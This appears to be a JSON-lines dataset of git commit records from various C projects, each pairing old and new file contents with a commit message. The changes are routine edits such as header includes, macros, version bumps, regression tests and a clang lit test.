{"commit":"bc31fde05187299456c0b71bb89d8a6898420e47","old_file":"src\/motion.c","new_file":"src\/motion.c","old_contents":"#include \"motion.h\"\n\n\/\/Utilities\nint threshold(int value, int threshold);\nvoid reset_I2C_sensors(void);\n\n\/\/Driving\nvoid drive(int y, int t = 0){\n\t\/\/y - Forwards\/Backwards\n\t\/\/t - Turning (optional parameter)\n\tmotor[driveLeftFront] = y+t;\n\tmotor[driveRightFront] = y-t;\n}\n\n\/\/Mogo (mobile goal lift)\nvoid mogo(int power){\n\tmotor[mobilegoal] = power;\n}\n\n\/\/Lift\nvoid lift(int power){\n\tmotor[liftLeftSplit] = power;\n}\n\n\/\/Utilities\nint threshold(int value, int threshold){\n\treturn abs(value) > threshold ? value : 0;\n}\n\nvoid reset_I2C_sensors(void){\n\tSensorValue[I2C_1] = SensorValue[I2C_2] = SensorValue[I2C_3] = SensorValue[I2C_4] = 0;\n}\n","new_contents":"#include \"motion.h\"\n\n\/\/Utilities\nint threshold(int value, int threshold);\nvoid reset_I2C_sensors(void);\n\n\/\/Driving\nvoid drive(int y, int t = 0){\n\t\/\/y - Forwards\/Backwards\n\t\/\/t - Turning (optional parameter)\n\tmotor[driveLeftFront] = y+t;\n\tmotor[driveRightFront] = y-t;\n}\n\n\/\/Mogo (mobile goal lift)\nvoid mogo(int power){\n\tmotor[mobilegoal] = power;\n}\n\n\/\/Lift\nvoid lift(int power){\n\tmotor[liftLeftSplit] = power;\n}\n\n\/\/Utilities\nint threshold(int value, int threshold){\n\treturn abs(value) > abs(threshold) ? value : 0;\n}\n\nvoid reset_I2C_sensors(void){\n\tSensorValue[I2C_1] = SensorValue[I2C_2] = SensorValue[I2C_3] = SensorValue[I2C_4] = 0;\n}\n","subject":"Make threshold function use absolute value of threshold value","message":"Make threshold function use absolute value of threshold value\n","lang":"C","license":"mit","repos":"18moorei\/code-red-in-the-zone"}
{"commit":"d22e80d0afb0433637234a9bcc1f40387e53a252","old_file":"firmware\/digital_led_strip_gnu\/inc\/hal.h","new_file":"firmware\/digital_led_strip_gnu\/inc\/hal.h","old_contents":"#include <stdint.h>\n\n#define STRIP_BLACK 0x8000\n#define STRIP_PIXELS 50\n\n#define USART_BAUD_RATE 115200\n\nextern uint16_t* const strip_data;\n\nvoid init();\nvoid set_led(uint8_t state);\nuint8_t get_button();\n\nuint16_t get_voltage();\nuint16_t get_current();\n\nvoid strip_flush();\nuint16_t pack_RGB(uint8_t red, uint8_t green, uint8_t blue);\nvoid strip_refresh();\nvoid strip_refresh_nowait();\nvoid send_str(uint8_t* mem,uint16_t cnt);\nint16_t get_char();\n","new_contents":"#include <stdint.h>\n\n#define STRIP_BLACK 0x8000\n#define STRIP_PIXELS 50\n\n\/\/#define USART_BAUD_RATE 115200\n#define USART_BAUD_RATE 3000000\n\nextern uint16_t* const strip_data;\n\nvoid init();\nvoid set_led(uint8_t state);\nuint8_t get_button();\n\nuint16_t get_voltage();\nuint16_t get_current();\n\nvoid strip_flush();\nuint16_t pack_RGB(uint8_t red, uint8_t green, uint8_t blue);\nvoid strip_refresh();\nvoid strip_refresh_nowait();\nvoid send_str(uint8_t* mem,uint16_t cnt);\nint16_t get_char();\n","subject":"Change baud rate to 3mbps","message":"Change baud rate to 3mbps\n","lang":"C","license":"mit","repos":"zbanks\/aurora,zbanks\/aurora,zbanks\/aurora,zbanks\/aurora,zbanks\/aurora,zbanks\/aurora,zbanks\/aurora"}
{"commit":"12d24d16af71b1d0ff397f70648ed72d63d2c5d1","old_file":"Includes\/libARSAL\/ARSAL.h","new_file":"Includes\/libARSAL\/ARSAL.h","old_contents":"\/**\n * @file libARSAL\/ARSAL.h\n * @brief Library global header for libARSAL\n * @date 04\/12\/2013\n * @author nicolas.brulez@parrot.com\n *\/\n#ifndef _ARSAL_H_\n#define _ARSAL_H_\n\n#include <libARSAL\/ARSAL_Endianness.h>\n#include <libARSAL\/ARSAL_Ftw.h>\n#include <libARSAL\/ARSAL_Mutex.h>\n#include <libARSAL\/ARSAL_Print.h>\n#include <libARSAL\/ARSAL_Sem.h>\n#include <libARSAL\/ARSAL_Socket.h>\n#include <libARSAL\/ARSAL_Thread.h>\n#include <libARSAL\/ARSAL_Time.h>\n\n#endif \/* _ARSAL_H_ *\/\n","new_contents":"\/**\n * @file libARSAL\/ARSAL.h\n * @brief Library global header for libARSAL\n * @date 04\/12\/2013\n * @author nicolas.brulez@parrot.com\n *\/\n#ifndef _ARSAL_H_\n#define _ARSAL_H_\n\n#include <libARSAL\/ARSAL_Endianness.h>\n\/\/#include <libARSAL\/ARSAL_Ftw.h>\n#include <libARSAL\/ARSAL_Mutex.h>\n#include <libARSAL\/ARSAL_Print.h>\n#include <libARSAL\/ARSAL_Sem.h>\n#include <libARSAL\/ARSAL_Socket.h>\n#include <libARSAL\/ARSAL_Thread.h>\n#include <libARSAL\/ARSAL_Time.h>\n\n#endif \/* _ARSAL_H_ *\/\n","subject":"Comment file for the moment.","message":"Comment file for the moment.\n","lang":"C","license":"bsd-3-clause","repos":"kradhub\/libARSAL,kradhub\/libARSAL,niavok\/libARSAL,kradhub\/libARSAL,Parrot-Developers\/libARSAL,Parrot-Developers\/libARSAL,niavok\/libARSAL,kradhub\/libARSAL,niavok\/libARSAL,Parrot-Developers\/libARSAL,niavok\/libARSAL"}
{"commit":"48220cfd521da329e20ffad5699d030d29313f71","old_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","new_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","old_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable exp.uncilwitness --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --set phases '[{}, {\"ana\": {\"activated\": [\"base\", \"observer\"], \"path_sens\": [\"observer\"]}}]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c\n\n\/\/ \/goblint --enable ana.sv-comp --enable ana.wp --enable exp.uncilwitness --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable exp.uncilwitness --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --set phases '[{}, {\"ana\": {\"activated\": [\"base\", \"observer\"], \"path_sens\": [\"observer\"]}}]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable exp.uncilwitness --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","subject":"Fix command in path_nofun SV-COMP example","message":"Fix command in path_nofun SV-COMP example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"56259f7f61084eabd4dc2d3d6cb3ea4cc161320f","old_file":"ios\/RNI18n.h","new_file":"ios\/RNI18n.h","old_contents":"#import <React\/RCTBridgeModule.h>\n\n@interface RNI18n : NSObject <RCTBridgeModule>\n@end\n","new_contents":"#if __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#else\n#import <React\/RCTBridgeModule.h>\n#endif\n\n@interface RNI18n : NSObject <RCTBridgeModule>\n@end\n","subject":"Add support for react-native < 0.40","message":"Add support for react-native < 0.40\n","lang":"C","license":"mit","repos":"AlexanderZaytsev\/react-native-i18n,AlexanderZaytsev\/react-native-i18n,AlexanderZaytsev\/react-native-i18n,AlexanderZaytsev\/react-native-i18n"}
{"commit":"637ba7dd055c6185c4e428b9328299b3e96de833","old_file":"asylo\/platform\/posix\/include\/sys\/wait.h","new_file":"asylo\/platform\/posix\/include\/sys\/wait.h","old_contents":"\/*\n *\n * Copyright 2018 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include_next <sys\/wait.h>\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_SYS_WAIT_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_SYS_WAIT_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define WNOHANG 1\n\npid_t wait3(int *wstatus, int options, struct rusage *rusage);\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_SYS_WAIT_H_\n","new_contents":"\/*\n *\n * Copyright 2018 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include_next <sys\/wait.h>\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_SYS_WAIT_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_SYS_WAIT_H_\n\n#include <sys\/resource.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define WNOHANG 1\n\npid_t wait3(int *wstatus, int options, struct rusage *rusage);\n\n#ifdef __cplusplus\n}  \/\/ extern \"C\"\n#endif\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_SYS_WAIT_H_\n","subject":"Include sys\/resource.h for struct rusage","message":"Include sys\/resource.h for struct rusage\n\nUsed in wait3 signature.\n\nPiperOrigin-RevId: 269667008\nChange-Id: Ie6e3a9b334861c78722bbae806352216d57ac437\n","lang":"C","license":"apache-2.0","repos":"google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo"}
{"commit":"b0afcb7cebb7b64f8e8c378ff3c5d117a2abb4cc","old_file":"include\/jive\/arch\/registers.h","new_file":"include\/jive\/arch\/registers.h","old_contents":"#ifndef JIVE_ARCH_REGISTERS_H\n#define JIVE_ARCH_REGISTERS_H\n\ntypedef struct jive_cpureg jive_cpureg;\ntypedef struct jive_regcls jive_regcls;\n\nstruct jive_cpureg {\n\tconst char name[32];\n};\n\n#endif\n","new_contents":"#ifndef JIVE_ARCH_REGISTERS_H\n#define JIVE_ARCH_REGISTERS_H\n\ntypedef struct jive_cpureg jive_cpureg;\ntypedef struct jive_regcls jive_regcls;\n\nstruct jive_cpureg {\n\tconst jive_regcls * regcls;\n\tconst char name[32];\n};\n\n#endif\n","subject":"Add reference to register class to cpureg","message":"Add reference to register class to cpureg\n\nArch support is still incomplete, but this bit is required\nfor other target-independent code.\n","lang":"C","license":"lgpl-2.1","repos":"phate\/jive,phate\/jive,phate\/jive"}
{"commit":"a758e727e602b5e05058271c990063baeeea3ccd","old_file":"test\/Driver\/crash-diagnostics-dir.c","new_file":"test\/Driver\/crash-diagnostics-dir.c","old_contents":"\/\/ RUN: rm -rf %t\n\/\/ RUN: mkdir -p %t\n\/\/ RUN: not %clang -fcrash-diagnostics-dir=%t -c %s 2>&1 | FileCheck %s\n#pragma clang __debug parser_crash\n\/\/ CHECK: Preprocessed source(s) and associated run script(s) are located at:\n\/\/ CHECK: diagnostic msg: {{.*}}Output{{\/|\\\\}}crash-diagnostics-dir.c.tmp{{(\/|\\\\).*}}.c\n","new_contents":"\/\/ RUN: rm -rf %t\n\/\/ RUN: mkdir -p %t\n\/\/ RUN: not %clang -fcrash-diagnostics-dir=%t -c %s -o - 2>&1 | FileCheck %s\n#pragma clang __debug parser_crash\n\/\/ CHECK: Preprocessed source(s) and associated run script(s) are located at:\n\/\/ CHECK: diagnostic msg: {{.*}}{{\/|\\\\}}crash-diagnostics-dir.c.tmp{{(\/|\\\\).*}}.c\n","subject":"Update crash diagnostics test to avoid attempting to write into various directories if possible and to not require %t to have \"Output\" in the name.","message":"Update crash diagnostics test to avoid attempting to write into various\ndirectories if possible and to not require %t to have \"Output\" in the name.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@336630 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"cd8df932d894f3128c884e3ae1b2b484540513db","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k14\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k15\"\n","subject":"Update driver version to 5.02.00-k15","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k15\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"9e469bb71d97fb04c425c0955e27174841fe4ba8","old_file":"include\/utils\/builtin.h","new_file":"include\/utils\/builtin.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef _UTILS_BUILTIN_H\n#define _UTILS_BUILTIN_H\n\/* macros for accessing compiler builtins *\/\n\n#include <assert.h>\n\n#define CTZ(x) __builtin_ctz(x)\n#define CLZ(x) __builtin_clz(x)\n#define OFFSETOF(type, member) __builtin_offsetof(type, member)\n#define TYPES_COMPATIBLE(t1, t2) __builtin_types_compatible_p(t1, t2)\n#define CHOOSE_EXPR(cond, x, y) __builtin_choose_expr(cond, x, y)\n#define IS_CONSTANT(expr) __builtin_constant_p(expr)\n#define POPCOUNT(x) __builtin_popcount(x)\n#define UNREACHABLE() \\\n    do { \\\n        assert(!\"unreachable\"); \\\n        __builtin_unreachable(); \\\n    } while (0)\n\n#endif \/* _UTILS_BUILTIN_H *\/\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef _UTILS_BUILTIN_H\n#define _UTILS_BUILTIN_H\n\/* macros for accessing compiler builtins *\/\n\n#include <assert.h>\n\n#define CTZ(x) __builtin_ctz(x)\n#define CLZ(x) __builtin_clz(x)\n#define OFFSETOF(type, member) __builtin_offsetof(type, member)\n#define TYPES_COMPATIBLE(t1, t2) __builtin_types_compatible_p(t1, t2)\n#define CHOOSE_EXPR(cond, x, y) __builtin_choose_expr(cond, x, y)\n#define IS_CONSTANT(expr) __builtin_constant_p(expr)\n#define POPCOUNT(x) __builtin_popcount(x)\n#define UNREACHABLE() \\\n    do { \\\n        assert(!\"unreachable\"); \\\n        __builtin_unreachable(); \\\n    } while (0)\n\n\/* Borrowed from linux\/include\/linux\/compiler.h *\/\n#define likely(x)   __builtin_expect(!!(x), 1)\n#define unlikely(x) __builtin_expect(!!(x), 0)\n\n#endif \/* _UTILS_BUILTIN_H *\/\n","subject":"Add likely and unlikely macros.","message":"Add likely and unlikely macros.\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,winksaville\/libutils,agacek\/util_libs,agacek\/util_libs,seL4\/libutils,agacek\/util_libs"}
{"commit":"55ad50b520fe4cd2a944ceabfd6508bd05b26813","old_file":"code\/code\/obj\/obj_appliedsub.h","new_file":"code\/code\/obj\/obj_appliedsub.h","old_contents":"#ifndef __OBJ_APPLIED_SUB_H\n#define __OBJ_APPLIED_SUB_H\n\n#include \"obj.h\"\n\n\/\/ stub object relating to ranger herbalism\n\nclass TASubstance : public TObj {\n  public:\n    virtual void assignFourValues(int, int, int, int) { }\n    virtual void getFourValues(int *a, int *b, int *c, int *d) const { *a = *b = *c = *d = 0; }\n    virtual sstring statObjInfo() const { return sstring(\"\"); }\n\n    virtual itemTypeT itemType() const {return ITEM_APPLIED_SUB; }\n\n    TASubstance() { }\n    TASubstance(const TASubstance &a) { }\n    TASubstance & operator=(const TASubstance &a) {\n      if (this == &a) return *this;\n      TObj::operator=(a);\n      return *this;\n    }\n    virtual ~TASubstance() { }\n};\n\n#endif\n","new_contents":"#ifndef __OBJ_APPLIED_SUB_H\n#define __OBJ_APPLIED_SUB_H\n\n#include \"obj.h\"\n\n\/\/ stub object relating to ranger herbalism\n\nclass TASubstance : public TObj {\n  public:\n    virtual void assignFourValues(int, int, int, int) { }\n    virtual void getFourValues(int *a, int *b, int *c, int *d) const { *a = *b = *c = *d = 0; }\n    virtual sstring statObjInfo() const { return sstring(\"\"); }\n    virtual itemTypeT itemType() const {return ITEM_APPLIED_SUB; }\n};\n\n#endif\n","subject":"Remove empty constructors etc from TASubstance","message":"Remove empty constructors etc from TASubstance\n","lang":"C","license":"agpl-3.0","repos":"sneezymud\/sneezymud,sneezymud\/sneezymud,sneezymud\/sneezymud,sneezymud\/sneezymud,sneezymud\/sneezymud,sneezymud\/sneezymud,sneezymud\/sneezymud"}
{"commit":"6a18b24d29cd6b0d03bd3fbdf839ff6aaf6cd84c","old_file":"bacula\/src\/version.h","new_file":"bacula\/src\/version.h","old_contents":"\/* *\/\n#undef  VERSION\n#define VERSION \"1.37.17\"\n#define BDATE   \"06 May 2005\"\n#define LSMDATE \"06May05\"\n\n\/* Debug flags *\/\n#undef  DEBUG\n#define DEBUG 1\n#define TRACEBACK 1\n#define SMCHECK\n#define TRACE_FILE 1\n\n\/* If this is set stdout will not be closed on startup *\/\n#define DEVELOPER 1\n\n\n\n\/* Debug flags not normally turned on *\/\n\n\/* #define TRACE_JCR_CHAIN 1 *\/\n\/* #define TRACE_RES 1 *\/\n\/* #define DEBUG_MEMSET 1 *\/\n\/* #define DEBUG_MUTEX 1 *\/\n\n\/* Check if header of tape block is zero before writing *\/\n#define DEBUG_BLOCK_ZEROING 1\n\n\/* #define FULL_DEBUG 1 *\/   \/* normally on for testing only *\/\n\n\/* Turn this on ONLY if you want all Dmsg() to append to the\n *   trace file. Implemented mainly for Win32 ...\n *\/\n\/*  #define SEND_DMSG_TO_FILE 1 *\/\n\n\n\/* The following are turned on for performance testing *\/\n\/* #define NO_ATTRIBUTES_TEST 1 *\/\n\/* #define NO_TAPE_WRITE_TEST 1 *\/\n\/* #define FD_NO_SEND TEST 1 *\/\n","new_contents":"\/* *\/\n#undef  VERSION\n#define VERSION \"1.37.17\"\n#define BDATE   \"07 May 2005\"\n#define LSMDATE \"07May05\"\n\n\/* Debug flags *\/\n#undef  DEBUG\n#define DEBUG 1\n#define TRACEBACK 1\n#define SMCHECK\n#define TRACE_FILE 1\n\n\/* If this is set stdout will not be closed on startup *\/\n#define DEVELOPER 1\n\n\n\n\/* Debug flags not normally turned on *\/\n\n\/* #define TRACE_JCR_CHAIN 1 *\/\n\/* #define TRACE_RES 1 *\/\n\/* #define DEBUG_MEMSET 1 *\/\n\/* #define DEBUG_MUTEX 1 *\/\n\n\/* Check if header of tape block is zero before writing *\/\n#define DEBUG_BLOCK_ZEROING 1\n\n\/* #define FULL_DEBUG 1 *\/   \/* normally on for testing only *\/\n\n\/* Turn this on ONLY if you want all Dmsg() to append to the\n *   trace file. Implemented mainly for Win32 ...\n *\/\n\/*  #define SEND_DMSG_TO_FILE 1 *\/\n\n\n\/* The following are turned on for performance testing *\/\n\/* #define NO_ATTRIBUTES_TEST 1 *\/\n\/* #define NO_TAPE_WRITE_TEST 1 *\/\n\/* #define FD_NO_SEND TEST 1 *\/\n","subject":"Fix Win32 build for TLS","message":"Fix Win32 build for TLS\n\n\ngit-svn-id: bb0627f6f70d46b61088c62c6186faa4b96a9496@2001 91ce42f0-d328-0410-95d8-f526ca767f89\n","lang":"C","license":"agpl-3.0","repos":"rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula,rkorzeniewski\/bacula"}
{"commit":"1761d9ffe718f5b9d7535ede67380a20187f9d90","old_file":"tests\/regression\/36-octapron\/23-traces-write-centered-problem.c","new_file":"tests\/regression\/36-octapron\/23-traces-write-centered-problem.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron --sets exp.solver.td3.side_widen cycle_self\n\/\/ requires cycle_self to pass with protection\n#include <pthread.h>\n#include <assert.h>\n\nint g = 25; \/\/ matches write in main\nint h = 12; \/\/ matches write in main\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x; \/\/ rand\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x - 12;\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int x, y;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  g = 25;\n  h = 12;\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&A);\n  x = g;\n  y = h;\n  assert(x >= y); \/\/ write would fail this due to disjunctive reading from local and global\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","subject":"Add relational traces example where write would fail","message":"Add relational traces example where write would fail\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"29c7759d400dd2c46ef4ab02199fbba2d508a4d5","old_file":"kernel\/libk\/klog.c","new_file":"kernel\/libk\/klog.c","old_contents":"#include <libk\/klog.h>\n\nvoid initialize_klog() {\n    initialize_serial_port(COM1);\n    kputs(\"initing\");\n    write_serial_string(COM1, \"Logger initialized\\n\");\n    kputs(\"inited\");\n}\nvoid klog(char *message) {\n    write_serial_string(COM1, message);\n}\n","new_contents":"#include <libk\/klog.h>\n\nvoid initialize_klog() {\n    initialize_serial_port(COM1);\n    write_serial_string(COM1, \"Logger initialized!\\n\");\n}\nvoid klog(char *message) {\n    write_serial_string(COM1, message);\n}\n","subject":"Remove debugging lines from kernel logger","message":"Remove debugging lines from kernel logger\n","lang":"C","license":"mit","repos":"Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"af88a4da720094eb576f50664fa61d449eb005dd","old_file":"include\/rapidcheck\/detail\/Traits.h","new_file":"include\/rapidcheck\/detail\/Traits.h","old_contents":"#pragma once\n\n#include <type_traits>\n#include <iostream>\n\nnamespace rc {\nnamespace detail {\nnamespace sfinae {\n\ntemplate<typename T, typename = decltype(std::declval<T>() == std::declval<T>())>\nstd::true_type isEqualityComparable(const T &);\nstd::false_type isEqualityComparable(...);\n\ntemplate<typename T, typename = decltype(std::cout << std::declval<T>())>\nstd::true_type isStreamInsertible(const T &);\nstd::false_type isStreamInsertible(...);\n\n} \/\/ namespace sfinae\n\ntemplate<typename T>\nusing IsEqualityComparable = decltype(\n    sfinae::isEqualityComparable(std::declval<T>()));\n\ntemplate<typename T>\nusing IsStreamInsertible = decltype(\n    sfinae::isStreamInsertible(std::declval<T>()));\n\n} \/\/ namespace detail\n} \/\/ namespace rc\n","new_contents":"#pragma once\n\n#include <type_traits>\n#include <iostream>\n\nnamespace rc {\nnamespace detail {\n\n#define RC_SFINAE_TRAIT(Name, expression)                               \\\n    namespace sfinae {                                                  \\\n    template<typename T, typename = expression>                         \\\n        std::true_type test##Name(const T &);                           \\\n        std::false_type test##Name(...);                                \\\n    }                                                                   \\\n                                                                        \\\n    template<typename T>                                                \\\n    using Name = decltype(sfinae::test##Name(std::declval<T>()));\n\n\nRC_SFINAE_TRAIT(IsEqualityComparable,\n                        decltype(std::declval<T>() == std::declval<T>()))\n\nRC_SFINAE_TRAIT(IsStreamInsertible,\n                        decltype(std::cout << std::declval<T>()))\n\n} \/\/ namespace detail\n} \/\/ namespace rc\n","subject":"Add macro to declare SFINAE based traits","message":"Add macro to declare SFINAE based traits\n","lang":"C","license":"bsd-2-clause","repos":"unapiedra\/rapidfuzz,whoshuu\/rapidcheck,unapiedra\/rapidfuzz,whoshuu\/rapidcheck,tm604\/rapidcheck,emil-e\/rapidcheck,tm604\/rapidcheck,whoshuu\/rapidcheck,emil-e\/rapidcheck,emil-e\/rapidcheck,tm604\/rapidcheck,unapiedra\/rapidfuzz"}
{"commit":"4e16a115a9941f1a9f99a5a135414f8eb59da7c2","old_file":"mtp\/backend\/darwin\/usb\/call.h","new_file":"mtp\/backend\/darwin\/usb\/call.h","old_contents":"\/*\n    This file is part of Android File Transfer For Linux.\n    Copyright (C) 2015  Vladimir Menshakov\n\n    Android File Transfer For Linux is free software: you can redistribute\n    it and\/or modify it under the terms of the GNU General Public License\n    as published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    Android File Transfer For Linux is distributed in the hope that it will\n    be useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n    of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with Android File Transfer For Linux.\n    If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef USB_USB_H\n#define USB_USB_H\n\n#include <usb\/Exception.h>\n#include <usb\/usb.h>\n\n#define USB_CALL(...) do { int _r_ = (__VA_ARGS__); if (_r_ != kIOReturnSuccess) throw mtp::usb::Exception(#__VA_ARGS__, _r_) ; } while(false)\n\n#endif\n\n","new_contents":"\/*\n    This file is part of Android File Transfer For Linux.\n    Copyright (C) 2015  Vladimir Menshakov\n\n    Android File Transfer For Linux is free software: you can redistribute\n    it and\/or modify it under the terms of the GNU General Public License\n    as published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    Android File Transfer For Linux is distributed in the hope that it will\n    be useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n    of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with Android File Transfer For Linux.\n    If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef USB_USB_H\n#define USB_USB_H\n\n#include <usb\/Exception.h>\n#include <usb\/usb.h>\n#include <mtp\/usb\/DeviceNotFoundException.h>\n\n#define USB_CALL(...) \\\n\tdo { int _r_ = (__VA_ARGS__); \\\n\t\tswitch(_r_) { \\\n\t\t\tcase kIOReturnSuccess  : break; \\\n\t\t\tcase kIOReturnNoDevice : throw mtp::usb::DeviceNotFoundException(); \\\n\t\t\tdefault: throw mtp::usb::Exception(#__VA_ARGS__, _r_) ; \\\n\t\t} \\\n\t} while(false)\n\n#endif\n\n","subject":"Add DeviceNotFoundException throw on mac","message":"Add DeviceNotFoundException throw on mac\n","lang":"C","license":"lgpl-2.1","repos":"whoozle\/android-file-transfer-linux,whoozle\/android-file-transfer-linux,whoozle\/android-file-transfer-linux,whoozle\/android-file-transfer-linux"}
